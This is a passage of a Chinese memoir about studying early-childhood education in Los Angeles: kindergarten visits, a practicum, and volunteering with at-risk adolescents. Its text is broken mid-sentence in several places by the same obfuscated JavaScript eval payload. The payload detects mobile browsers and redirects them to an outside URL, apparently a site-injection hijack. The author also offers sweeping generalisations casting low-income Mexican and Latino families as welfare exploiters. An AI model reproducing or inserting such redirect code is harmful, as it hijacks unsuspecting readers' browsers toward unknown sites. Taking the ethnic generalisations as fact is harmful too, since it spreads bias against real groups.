班上有一个才三十多岁就已经当外婆的墨西哥女同学,她十六岁生了女儿,女儿十六岁又生了孩子,有一次她女儿推着孩子来学校探望女同学,女同学指着推车里的婴儿对我们说:“这是我外孙。” 另外一个长着大胡子的墨西哥男同学总是喜欢在课间找我不停地说话,问我各种对于中国美国墨西哥的看法,我不太想接茬,他就很生气地问我:“你为什么不愿意和我说话?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437768|184973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我只好说:“因为我觉得只和你一个人说话对其他人不礼貌。” 美国的课本由于包含了作者的版权费和各种费税,价格十分昂贵,一本动辄上百美元,为了省钱许多学生会买往届学生用过的二手课本,价格根据课本的新旧程度在原价的四折到六折之间浮动,用完还可以再卖给下一届学生,学校门口也有书店做旧课本的生意,以一到两折的低价回收,再以七到八折卖出。 不过上有政策下有对策,下有对策上有对应,为了继续卖出更多课本,每隔几年作者就会把课本的内容做少量增减,章节顺序变动一下,配上新的插图,再换个封面,推出新版本,这样新一届的学生就不得不花全价去买新版课本了。 我幸运地没有碰上新旧版本的更新换代,在网上半价淘到几本必备的旧课本,其他非硬性规定的辅助教材则能在图书馆借到就借,借不到就不看。 上课时我发现一个略显讽刺的现象,几个低收入家庭的墨西哥裔学生课桌上堆放着全套崭新的课本和所有辅助教材,与其他学生形成了鲜明的对比,后来我才知道加州政府对于低收入家庭有着各种优厚的福利,其中一项就是为他们念书的孩子提供所有课本费,而这些经费自然来自非低收入家庭所缴纳的税款。 我低头看看自己节衣缩食淘来的旧课本,再抬头看看低收入家庭学生桌上全套的新课本,想想我们每月勤勤恳恳工作、老老实实纳税,心里着实有些难以平衡。 然而班上低收入家庭的墨西哥学生对于享受的福利并不领情,反而觉得理所应当,甚至在聊天时愤愤地说:“加州原本就是属于我们的(历史上加利福尼亚州原属墨西哥,后被美国吞并),这是他们欠我们的!” 账显然不能这么算,可人总得为心安理得吃大锅饭找点理由,不过现在加州已经成为美国第一个拉美裔占多数的州,在洛杉矶的幼儿园里拉美裔的儿童比例更是高达百分之六十五,墨西哥人似乎正在以另一种形式“夺回”加州。 5. 第五章 初探娃娃世界(上) 在我修习的四门基础课中,有一门课为学生提供去合作幼儿园实地考察的机会,我当然不会放过这样的机会,从系里提供的列表中精心挑选出三家幼儿园,打电话一一联系并出具了介绍信之后,开始了我的幼儿园考察之旅。 第一家是免费面向低收入家庭的幼儿园,教师也大多来自低收入家庭,所有经费全部由政府拨款。这家幼儿园虽然面向低收入家庭,配置可不低,崭新的院子、崭新的教室、崭新的桌椅,全都刷着明艳的彩色油漆,各类设施用具多到爆炸,孩子们吃零食的时间有专人送来整箱整箱的草莓和蓝莓,完全颠覆了我的认知。 幼儿园绝大多数孩子是拉美裔和非裔,我参观的时候教室里一位非裔女教师正在教几个孩子认字,只见她面无表情地把一叠识字卡片一张张摊在桌上,然后一个个问:“这是什么?” 孩子们安静而呆滞地一一回答,遇到答错或答不上来的,女教师就说:“不对,这是xx。” 我看了一会儿觉得无趣,又去院子里观察其他孩子的活动,却看见两位体型像硕大的土豆的拉美裔大妈一面粗鄙地大声说笑着,一面将一盆孩子洗画笔用的颜料水直接泼在花坛里。 我不免为她们的举动咋舌,言传身教,老师就是孩子最直接的榜样,她们这么做孩子自然会跟着学,这里虽然物质条件极好,却聚集着一群素质堪忧的教师,被这样的教师教养出来的孩子将来会怎样实在令人担忧。 我又来到第二家幼儿园,这是一间隶属于市联合学区系统的公立幼儿园,院子外面简单围着一圈铁丝网,院子里是光秃秃的水泥地面,有一些破旧的儿童设施和小三轮车,教室里色彩暗淡,课桌椅年久失修,玩具和图书的数量也十分有限,与前一家幼儿园的条件相比简直一个天上一个地下。 接待我的是一位三十多岁名叫艾莳的女教师,黑发白肤,十分亲切和善,她正带着孩子们在教室里进行叫做《飞天法宝》的活动(《飞天法宝》是一部美国科幻喜剧电影,剧中主人公发明了一种能够克服地心引力的绿色胶状物质,被他命名为飞天法宝),将提前用胶水、淀粉、洗衣液和绿色食用色素做成的类似橡皮泥的胶状物体分给每个孩子拳头大小的一团,让他们用擀面杖和做饼干的模具做成薄片,最后包裹住一根吸管吹出泡泡——这个活动旨在锻炼孩子的触感、手指灵活度、唇部力量和肺活量。 所有孩子都十分投入地忙碌着,不时看看自己左右,互相推挤着,有的开心地唱着歌,成功吹出泡泡的孩子则兴奋地又笑又叫,整个过程中艾莳一直温和地鼓励和肯定着孩子们的行动。 一个叫约书亚的小男孩总是吹不出泡泡,垂头丧气地说:“老师,我做不到。” 艾莳先启发他“多试几次,你马上就要成功了,再弄薄一点,看看珍妮,她的方法很好,多练习几次,你能做到”,然后才出手帮了一部分忙。 约书亚终于吹出了泡泡,兴奋地叫道:“我做到了,瞧我的泡泡!” 艾莳笑道:“看,你吹出了一个很美的泡泡。” 这时另一个小女孩苏珊报告:“老师,约翰踢我。” 艾莳说:“你不想他那么做吗?用你的语言告诉他。” 苏珊对约翰说:“我不想让你踢我。” 约翰便没再踢苏珊。 我从这些细节中观察到艾莳并未直接介入替孩子解决问题,而是尽量引导孩子自己独立解决问题。 当所有孩子都成功吹出了泡泡,艾莳又让孩子们自由地按照自己的意愿玩了十分钟,然后提醒他们将“法宝”统一交给老师丢进垃圾桶,并一起打扫干净桌面。 擦到一张破损的桌子时,艾莳叹了口气,对我说:“我们没钱买新的。” 《飞天法宝》活动结束后艾莳将孩子们领到院子里自由活动,自己则背着手靠在铁丝网上一面看着孩子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437769|184973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一面和我闲聊,询问过我的经历和想当幼儿园老师的初衷后,她仿佛与我产生了某些惺惺相惜之情,告诉我她是亚美尼亚人,儿童教育专业硕士学历,目前同时在市立学院兼职代课,谈及洛杉矶的幼儿园系统她又似乎有许多无奈。 离开后我有些心意难平,那个破损的桌子和艾莳无奈的神情一直在脑海中挥之不去。 若干年后我从网上看到艾莳一年后离开幼儿园成为市立学院儿童教育系的全职教师,如今已经是教授,一直深受学生喜爱。我不禁为她感到高兴,也为这样一位有情怀、有爱心的优秀教师没有被埋没,而是找到更加适合的舞台把自己的宝贵经验传授给更多未来的幼儿教师而欣慰。 参观的第三家是派拉蒙子弟幼儿园,这是派拉蒙影业公司与美国某著名私立连锁幼儿园合作,专门为公司员工子女设立的幼儿园,位于派拉蒙影城内,幼儿园的联络人事先特地给了我一张进入影城的访客专用入场券。 派拉蒙影业是美国历史最悠久的电影制片厂之一,曾经制作过《教父》、《变形金刚》、《碟中谍》等多部经典影片,在好莱坞娱乐行业具有不可撼动的地位。 参观那天我乘坐公交车辗转来到位于好莱坞的派拉蒙影城,员工专用的侧门岗亭里坐着一位三十来岁的门卫小伙,看见我和善地笑着问:“嗨,甜心(美国人对小姑娘的常用称呼),有什么可以帮到你?” 亚洲女性的年龄对于美国人来说永远是个谜,况且我还长了一张娃娃脸,所以早就见怪不怪,虽然心里嘀咕“搞不好我年龄比你还大”,却没多作解释,只是微笑着将入场券出示给他看,他便放我进去了。 穿过影城空荡荡的布景街道,大太阳底下仿佛闯入了一片异世界,只沿途偶尔看见个别工作人员在库房门口组装摄影机轨道。我依照联络人提供的地图穿街过巷来到影城一角的一个院落,这里就是派拉蒙影业的员工子弟幼儿园。 6. 第六章 初探娃娃世界(下) 我在派拉蒙幼儿园见到了联络人,一位态度和蔼、做事老道的亚裔年轻女子,她先安排我穿上鞋套进入幼儿园的婴儿房参观——美国幼儿园通常只接收年满两岁并且已经训练好能够自己如厕的孩子,但派拉蒙影业为了解决员工的后顾之忧好让他们安心于工作,在公司内部幼儿园额外提供两岁以下婴儿的照护,这可说是对员工十分优厚的特殊福利。 为了保护婴儿尚未发育完全的视觉神经,婴儿房内拉着窗帘,光线很暗,里面坐着三名穿防护服和鞋套的保育员,我轻声同她们打过招呼,找了一个小凳子坐下,开始静静地观察,一面打开笔记本记录。 婴儿房分为内外两间,里间摆着几排小床,一些婴儿正在床上酣睡;外间布置了一组带斜坡的玩具屋,四周散落着一些软布和塑料材质的玩具,几个大小不一、还没长头发的婴儿在斜坡上和玩具屋里默默地攀爬蠕动着,其中一个抓着一把塑料锤子反复敲击着斜坡,另一个在玩一只软软的玩具球,不时放进嘴里咬两下。 几位保育员坐在一旁密切关注着婴儿们的动静,玩具球反复从玩球婴儿的手里滑落到地上,其中一名保育员便不厌其烦地捡起来放到水龙头下洗干净还给他。 还有一个婴儿可能有些着凉,每隔一会儿就打个喷嚏,另一名保育员立刻起身抽出一张纸巾为他擦去鼻涕,然后马上用肥皂洗手,一会儿功夫已经洗了四五遍,我在一旁看着,忍不住想,这一天下来只怕手都要洗烂了吧? 婴儿房里气氛沉闷,也没有太多可看的,我待了二十分钟就出来了,接着去二至三岁的小班参观。 小班的孩子正在院子里活动,教室里静悄悄的,一排宽大的玻璃窗上挂着绘有大片绿叶和彩色花卉的下拉式窗帘,采光既明媚又柔和,米色墙面上装饰着一些深棕色木质相框,里面是孩子们的照片;一进门靠墙角有一支像手臂一样伸出去的银色金属灯架,挂着一盏白色纸灯笼样式的吊灯,灯下摆着一只色彩鲜艳的橘色小沙发,周围地毯上放着一圈坐垫,形成了一个十分温馨舒适的故事角;原木色的儿童专用家具将教室分割成阅读、绘画、自然、科学、游戏等不同功能的区域,矮柜里整齐地放着一排排白麻布衬底的深棕色藤蓝,里面收纳着各类玩具;矮柜上摆着两只彩色玻璃花瓶做装饰,教室一角还种着一株绿意盎然的落地盆栽。 整间教室的环境布置得十分优美,为孩子营造出一种家居的温馨氛围,也从小培养了孩子的审美品味,当然这些高品质的家具和装饰都是用钱堆出来的,两年后我进入这一行业才了解到,美国幼儿园专用的家具由于要保证品质和满足严苛的安全标准,在制作过程中增加了许多额外的材料和测试成本,价格十分昂贵,一张小桌子动辄都要大几百美元。 一位五六十岁年纪、看上去很有经验的老教师正在小班当值,她把我领到院子里让我自由地观察孩子们的活动,自己则一边留意着孩子一边在院墙边的水龙头底下冲洗一些玩具。老教师无论做事还是对待孩子都举重若轻,对我的态度也既轻松又不刻意,让人感到很舒服。 院子里的环境也很舒适怡人,铁丝网院墙外面被一圈厚厚的灌木丛包围着,既很好地保护了孩子们的隐私又不觉憋闷,院子里的树木、草坪、沙池和儿童小屋形成了一个有机的整体,当然还有各类玩具,孩子们笑着叫着自由自在地玩耍着,十分恣意畅快。 过了一会儿老教师喊小班的孩子进教室,一个东亚面孔的小女孩坚持留在室外不肯进去,老教师摇摇头小声对我说:“可怕的两岁。”(幼儿到两岁时会经历一个叛逆期,经常任性、哭闹,难以调教,这也是孩子自我认知和独立意识发展的第一个阶段,英文称作“可怕的两岁”。) 老教师并没有去催促小女孩,径自从冰箱里拿出冰淇淋分给其他已经在桌子前坐好的小宝宝们,过了一会儿小女孩自己进来了。 宝宝们开心地享用着零食,另一位三十来岁的女教师坐到橘色沙发上开始读故事书,先吃完冰淇淋的宝宝就自由地转移到坐垫上听故事,一边等待下班的父母来接自己回家。 这就是我在派拉蒙幼儿园的短暂经历,在这里我看到丰盛的物质条件和优秀的教师资源得到了完美的结合,幼儿园的整个氛围宽松友好舒适,孩子们松弛自如受到尊重,是我参观的几个幼儿园中状况最理想的一个,可惜一年后派拉蒙幼儿园取消了与市立学院的合作,去内部参观已成绝响。 我参观的三所幼儿园恰好代表了美国的三个阶层,高收入者可以选择将孩子送进条件优越的私立学校,低收入者干脆躺平吃丰厚的福利,只有中间阶层苦苦挣扎却只得到最少的资源,有人将美国的社会结构比喻成中等收入阶层占主体的橄榄型,可现在橄榄核却被啃成了苹果核。 由于有了明确的目标,又都是感兴趣的内容,四门基础课我学得很扎实,一年后以全A的成绩顺利结业,终于有资格进入楼下的市立学院附属幼儿园开始每周两个半天、为期一学期的实习,像一名真正的教师那样与幼儿近距离接触和互动。 第一天走进楼下的幼儿园,迎面看见墙上的办学宗旨:“每个孩子都是值得珍惜和有无限潜能的,儿童将会在他们的教育、情绪、认知和身体成长各方面需求得到认可的环境中绽放”。 附属幼儿园条件非常好,崭新的教室、齐备的设施、整洁舒适的环境,每天还有专人和专门的厨房为孩子和老师提供免费的早餐和午餐。 我被分配到二岁半至三岁的小班,班上的孩子都是才学会走路和说话没多久的小娃娃,虽然大大的脑袋大大的眼睛很可爱,但是语言表达能力十分有限,大部分时间很安静甚至显得有些无趣。 这个年龄的孩子仍处于以自我为中心的阶段(非贬义),尚不能和他人进行良好的协作,大部分时间都是自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437770|184973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己玩自己的,于是教室里每天都会出现抢玩具的场面,哪怕旁边就放着一模一样的玩具,而教这么小的孩子礼让是没用的,只能把他们引导到相同的玩具上去,或是设置一个闹钟让他们轮流玩玩具——小孩子对时间没有概念,跟他们说几点几分也是没用的,要有具体的参照物,比如不能说“你妈妈十一点半来接你”,而要说“你妈妈会在你吃完午饭后来接你”。 两三岁的小孩子和父母(尤其母亲)还很难分离,因此每天早上教室里都会上演少数孩子哭天抢地、泪水涟涟的戏码,仿佛世界末日降临,许多父母见此情形一颗心都要被哭碎了,觉得自己就是孩子的天孩子的地孩子的唯一,孩子离开自己根本活不下去。但有趣的是只要父母离开,不消几分钟绝大多数孩子就会跟没事人一样转眼忘了刚才的悲伤,转身投入到幼儿园的日常事务当中,展现出惊人的适应能力,也让我见识到什么叫做“地球离了谁都照样转”。 这个时期的孩子理解能力也十分有限,班上有个小男孩总是叫所有的老师“妈妈”,因为他不理解“妈妈”这个词的确切含义,以为所有照顾他的女性都叫“妈妈”;另一个孩子在集体活动时不明白老师让他到前面去是什么意思,我于是牵着他的手穿过其他小朋友走到主持活动的老师跟前,谁知他自己回去时居然像个小机器人一样严格按照来时的路线原路返回,也亏得他居然记得分毫不差。 不过小孩子虽然语言表达和理解能力有限,却对成年人的情绪十分敏感,所以很多时候语言对他们来说并不重要,只要对他们释放善意和爱就足够了。 小班的几位老师人都很和善,班主任蒂娜是一位三四十岁年纪的亚美尼亚裔女教师,有儿童教育专业硕士学历和十五年教龄,教学经验丰富,为人认真负责,对我的任何问题总是耐心解答,我从她那里受益良多。 助理教师中有一位也是亚美尼亚人,年纪比蒂娜更长,每次就餐时如果饭后水果里有橙子,她都会对桌上的孩子说“看,应该这样吃橙子”,然后借着教孩子如何吃橙子自己多吃几片,我看在眼里只觉好笑。 她私下对我说:“亚美尼亚很穷,在亚美尼亚橙子很贵。” 我听闻不禁暗暗感叹,许多在美国的亚美尼亚人其实教育程度和综合素质都很高,却因为国家贫穷在这里从事收入不高、竞争不激烈的幼教和保育职业。 另一位拉美裔的助理教师总是喜欢爽朗地大笑,但是不太会说英文,我常常要问好几遍才能弄明白她在说什么,她也总是不厌其烦地说到我明白为止,不过我很喜欢她的笑声,觉得有一种神奇的治愈能力,只要听到就仿佛一切都无需再担忧烦恼了。 能在这样一个很有收获又令人愉快的环境中实习,我感到十分幸运,一个学期后完成教育局的所有基本要求,拿到加州初级幼教资格证,我觉得自己已经做好成为一名幼儿园助理教师的准备了。 7. 第七章 十二三岁的问题娃娃(上) 在市立学院上课期间,我从一位教授分发的传单上获知,洛杉矶有一个公益组织为十二三岁迈入青春期的问题孩子提供免费的课后活动,现在正在招募志愿导师,于是打算报名试试。 公益组织在洛杉矶市中心的一座高楼里租了几间办公室,看来应该有丰厚的政府拨款,我在前台填写了一份申请表,和其他几位申请人一起进入一间房间接受简单的培训。 培训师是一位三十多岁的光头男人,也是这个项目的负责人,名叫马修,他的脸很小,下颌棱角分明,双目炯炯有神,身上的Polo衫紧紧绷着发达的胸肌,精力旺盛,思路清晰,言辞精准,能看出来对这个项目怀着极大的热情。 马修告诉我们,参加课后活动的大多是来自低收入家庭的问题孩子,课后活动项目的目的一则是希望导师通过活动和互动带给孩子们正向的引导,二则是确保这些孩子在放学后的这段时间有事可做,避免“学坏”,而他本人也会不定时地随机参与各个学校的课后活动。 我选择了一所距离我的住处很近的初中,因为地处墨西哥人聚居区,学校里清一色全是墨西哥孩子,参加课后活动的孩子通常由班级老师“举荐”,导师们则来自各行各业。 课后活动每周一次,导师会提前收到公益组织发送的一封电子邮件,里面有对下次活动每一个步骤的详细指导,活动前十五分钟再到学校一个专门的办公室领取一只大信封,从里面找到当日活动需要的所有说明、教具和材料。 导师的职责很简单,每次活动大致由三个部分组成,第一部分导师和孩子们先坐在一起轮流分享过去一周的经历,然后讨论一个有关如何建立自尊和健康关系的话题,比如“说出一个你因为被朋友影响而做了不想做的事情的例子”、“当别人与你没有目光交流或不明白你在说什么时,你会如何反应”;第二部分导师带领孩子们做一些诸如乒乓球接力、踩气球比赛、蒙眼画画、互换身份让孩子当导师之类的游戏;第三部分是手工时间,孩子在导师的指导下完成一个有趣的手工,例如感恩节前的那次活动每个孩子都用爆米花球、奥利奥饼干和长玉米粒形状的彩色糖果做了一只迷你火鸡。 又参加了一次在学校举办的培训之后,我就和另一位导师被分配到一个活动小组搭档上岗了。我为第一次课后活动花了很多时间准备,仔细阅读了所有步骤说明,又看了马修在网上做的示范视频,因为担心英语不够好甚至把关键的地方背下来,那天马修刚好来参加我们小组的活动,结束时他特意称赞我准备得很用心。 我们这个小组据说是学校里纪律最差的一组,四男两女六个孩子,除了其中一个男孩已经人高马大,其余的虽身量已长却稚气未脱,脸上还有些未退的婴儿肥,可能因为在陌生成年人面前比较收敛,一开始甚至表现得相当乖顺,在我眼里完全看不出他们有什么问题。 然而随着活动的进行问题逐渐显露,那个人高马大的男孩只来了一次就不来了,两个女孩也时隐时现,有一次活动前我走到学校门口刚好遇见其中一个女孩从里面出来,就拦住她问为什么不去参加课后活动,谁知她根本不搭理我,竟然像躲瘟疫一样直接绕过我快步走掉了。 眼见其他小组人丁兴旺,我们组的孩子却越来越少,中途另一位导师也走了,公益组织又派来一位新导师填补她的位置,我则作为和孩子们在一起时间最长的导师苦苦支撑着,好在剩下的三个男孩一直坚持到了最后,其中一个叫里克的孩子还把他的一位好朋友介绍进来,可惜那个朋友只来了两次他爸爸就禁止他放学后在外面逗留。 里克是一个个子不高、一头碎卷发的男孩,表面上最调皮,内心却十分细腻重感情,对所有新事物都怀有强烈的兴趣,总想不断向外探索他所不知道的领域,似乎有一种天生的领袖气质。 他在聊天时告诉我:“我妈妈和她的男朋友一共生了十二个孩子,家里总是很挤又很吵,我很想能有一个自己的地方,我希望将来能成为一个了不起的大人物。” 我知道加州许多低收入家庭的女人靠不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437771|184973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 结婚和不停生孩子来谋生,因为政府为单亲母亲的每一个孩子提供每月几百美元的补助金,十几个孩子加起来一个月就能拿到几千美元,再加上各种优厚的住房补贴和孩子免费上学的福利,什么也不用做就可以过得悠哉游哉,可是这些人却从来没有考虑过她们孩子的感受,也不关心从小没有父亲的孩子在心理上的缺失、对家庭观念的淡化以及长大后对社会的潜在影响。 除了教室里的活动,公益组织每隔一段时间会为孩子们安排一次校外参观考察活动,第一次孩子们去加州大学洛杉矶分校参观了校园和图书馆,还进行了有趣的室内攀岩活动;第二次校车载着孩子们来到市中心一家小公司参观,里克还向公司负责接待的工作人员提问:“我将来怎样才能进到这样的公司工作?” 工作人员和也参加了这次活动的马修回答:“要好好学习,在学校力争上游。” 我望着面前一个个灰色的格子间和只有少量窗户的办公室,忍不住在心里想:“我是不会想要在这样的地方工作的。” 生命有其多样性和复杂性,这里显然并不能代表成功,许多人终其一生也并不会有机会进入加州大学洛杉矶分校学习或进入洛杉矶市中心的一间公司工作,当然我什么也不能说,因为我明白这两个地方是两个具象的符号,能够最直白地给只能理解简单道理的孩子树立一个前进的方向和标杆,为他们点燃希望——只要好好学习、力争上游,将来就能进入这样的学校和公司学习、工作,过上幸福美好的人生。 我看见里克的眼睛里闪烁着光芒,甚至透露出一丝野心,忍不住猜想以他的个人资质和雄心壮志将来能走到社会层级的哪一步呢?当他经历了这个世界的现实和残酷,明白了从一所普通初中到加州大学之间并不仅仅只是一趟校车的距离,不知道今天的经历对他而言是幸还是不幸。 但是我什么都不会说,因为他眼睛里的火苗至少给了他打破壁垒的希望和可能性,我也希望我短暂的陪伴能多少带给他一些积极的影响和启发。 8. 第八章 十二三岁的问题娃娃(下) 学年快结束时公益组织为全体孩子安排了一次到圣塔莫尼卡海滩游乐场畅玩的大型活动,我们小组的另一位导师有事不能参加,于是由我单独带队三个孩子。 在校车上里克和路易斯坐在一起,我和拉艾奥坐在一起。拉艾奥是一个高高瘦瘦、十分天真的男孩,总是热心参加并投入享受所有的娱乐活动,他的名字尾音“奥”的发音很微妙,要把舌头翘起来贴在上排牙齿的背面,我起先总是糊弄地念成“拉艾尔”,他就坚持一遍遍纠正我,直到我念对方才罢休。 相处了两个学期,拉艾奥已经对我十分信任,于是在车上和我分享了一些初中生之间的秘密。 “彦岚女士(“女士”是美国许多学校对女性老师的统称),你知道吗?我们班有些男同学私下里会玩一些比谁更勇敢的游戏,有人一次喝掉一加仑牛奶,还有人把避孕套从一个鼻孔塞进去,从另一个鼻孔拽出来。”他说。 我不想辜负拉艾奥对我的信任,简单粗暴地教育他“这些做法是疯狂愚蠢错误有损健康的,你可千万不能这么干”,但又不能什么也不说,放任孩子误以为这样做是可以的,只得委婉地说:“我是不会做这种傻事的。” 拉艾奥说:“我也不会。” 到了游乐场每个孩子和老师都分到一个可以无限畅玩所有项目并包含一顿午餐的手环,三个孩子开心地满场飞,我特意带了相机在下面给他们拍照和加油打气,每当他们乘坐的游乐设施飞到我面前时,几个孩子就一边兴奋地冲我挥手一边大喊:“彦岚女士!彦岚女士!” 可惜我脆弱的心脏无法承受他们玩的那些跳楼机、海盗船之类的刺激项目,最后只和他们一起坐了和缓的摩天轮,这还是第一次有机会从高高的摩天轮上俯瞰洛杉矶著名的圣塔莫尼卡海滩,碧海黄沙,海滩上花花绿绿的游人和一望无际的天际线尽收眼底,再加上几个天真的孩子在身边叽叽喳喳,那感觉真是奇妙。 午餐时里克和路易斯说想去买点东西,路易斯是一个五官清秀、性格文静的男孩,在我们小组里与里克比较要好。我于是让拉艾奥和其他组的老师待在一起,起身陪着里克和路易斯。 他俩来到游乐场旁边一个墨西哥小摊贩那里,想买一对刻上各自名字的皮绳手环作纪念,一问价格一根像面条一样细的手环居然要二十美元。 我问小贩:“能不能便宜些?” 小贩摇摇头:“不能便宜。” 我觉得很不值,这么细的皮绳就算是真皮顶多也只值几美元,就对两个孩子说:“太贵了,不要买。” 但是里克却眼都不眨地从口袋里掏出二十美元,路易斯则从裤子口袋里摸出十美元,两个孩子翻遍口袋又凑出十美元。 我看着两个低收入家庭的孩子花钱却如此大手大脚不知柴米贵,不免有些生气,再劝他们不要买时语气就强烈了些,脸也垮下来,但两个孩子还是坚持将所有的钱一把交给小贩。 小贩这时说:“刻名字需要一些时间。” 我问:“要多久?” “四十分钟。” “能不能快一点?” “快不了。” 我有些强硬地对里克和路易斯说:“我们现在得回去了,没有那么多时间等。”然后从小贩那里把钱要回来还给了他们。 回去的路上两个孩子都很不高兴,一直拖拉在后面沉默不语,我也有些后悔,其实刚才我完全可以睁一只眼闭一只眼笑呵呵少管闲事,反正损失的也不是我的钱包,大家还是开开心心的,现在却因为我一时没有管理好自己的情绪,让这八个月来的付出和与孩子建立起的信任顷刻之间付诸东流,临了临了,出力不讨好。 内心也很忐忑,不知道自己刚才做得到底是对还是不对,从我的角度来看逻辑很简单:旅游景点的东西远远不值那个价,是应该尽量避免的坑,如果想要留念,我给他们拍的照片就是最好的纪念品,家里经济困难更应该勤俭节约量入为出为父母家人多多考虑;但是从孩子的角度来看,这或许是他们最快乐的一天,他们想要留一个能纪念这一天和他俩友谊的物件,而我却剥夺了他们的快乐,破坏了美好的气氛,总是和颜悦色的导师突然拉脸的样子也令人感到幻灭。 回家后我挑选出拍得最好的照片到冲印 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437772|184973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 店里给每个孩子印了一份,在下次活动时分发给他们,孩子们看到照片非常开心,似乎已经忘了那天的不愉快,恰好马修那天也来到我们组,他把那些照片要过去仔细看了看,对我说:“你是真正关心孩子的。” 最后一天公益组织策划了一次特殊的告别活动,全校所有小组集中在食堂里聚餐和抽奖,可是那天路易斯去同学家做作业,拉艾奥被另一个课后活动项目的游园会吸引去了,我们组只来了里克一个孩子,我和另一位导师陪着他坐在一条空荡荡的桌子前,因为人数少没有足够的奖券,里克最后只抽中了一个小奖。 我看见许多志愿导师来自同一家保险公司,对人不理不睬一副应付差事的样子,不知道他们来这里是否是公司强制规定还是有补贴可拿。 公益组织的活动经费想必十分充裕,用卡车运来许多盒披萨和一箱箱果汁软糖让孩子随意拿取,几乎是无限量供应,却看见其他小组的孩子们披萨吃一半扔一半,软糖大把大把当饭吃,一个个“阔绰”得像土豪,弄得到处一片狼藉,既不懂得“各取所需,物尽其用”的道理,更不利于身体健康。 我想到艾莳幼儿园里那张破桌子,想到自己在网上淘来的二手课本,想到许多工薪阶层辛苦工作纳税也只是维持一个基本体面的生活,又想这些桌上的食物如果是限量供应或者需要花钱购买,就一定不会被这样浪费了,当我们帮助弱者时可能也要讲究一个刚好的度,如果太过便没有感恩只有挥霍,资源的过度倾斜对其他有需要的人也是一种不公平。 离开时马修问我:“你明年还会来吗?” 我心知这就是结束了,嘴上委婉地说:“这需要根据我的时间表来定。” 我来做志愿者从未想要向任何人刻意表现什么,自己的努力和付出却阴差阳错地几次被马修看见并留下深刻印象,他似乎很希望我能继续参加,对我说:“你是一个不可多得的好导师,我希望你能再考虑考虑。” 我在心里说:我也觉得你是一个不可多得的优秀的项目负责人,但是这样的经历对我来说有一次已经足够了,因为我还有其他更重要的事要去做。 9. 第九章《娃娃经》阅读指南 作者的话:《娃娃经》共四卷,每卷切换不同的场景,每章讲述不同的人物,既是一些独立的小故事,又是一个相互关联的线性有机整体,仿佛攀登一座山峰,山脚、山腰、山顶的风景各不相同,既有轻松活泼的内容,也有严肃沉重的部分,有时间和耐心的读者可以从头读起,感受从山脚一点点爬到山顶的奇妙全程,工作学习生活忙碌难以抽出大段时间或者想要放松一下的读者也可以随手翻到感兴趣的章节。 第一卷《初遇娃娃世界》两万多字,是全书的源起,场景较为丰富,强烈建议阅读; 第二卷《何家顽童》六万余字,着重于问题儿童的教育和个人成长,节奏较为舒缓细致,需要一份耐心静心阅读; 第三卷《莱克星顿的钟声》八万多字,前半部分汇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 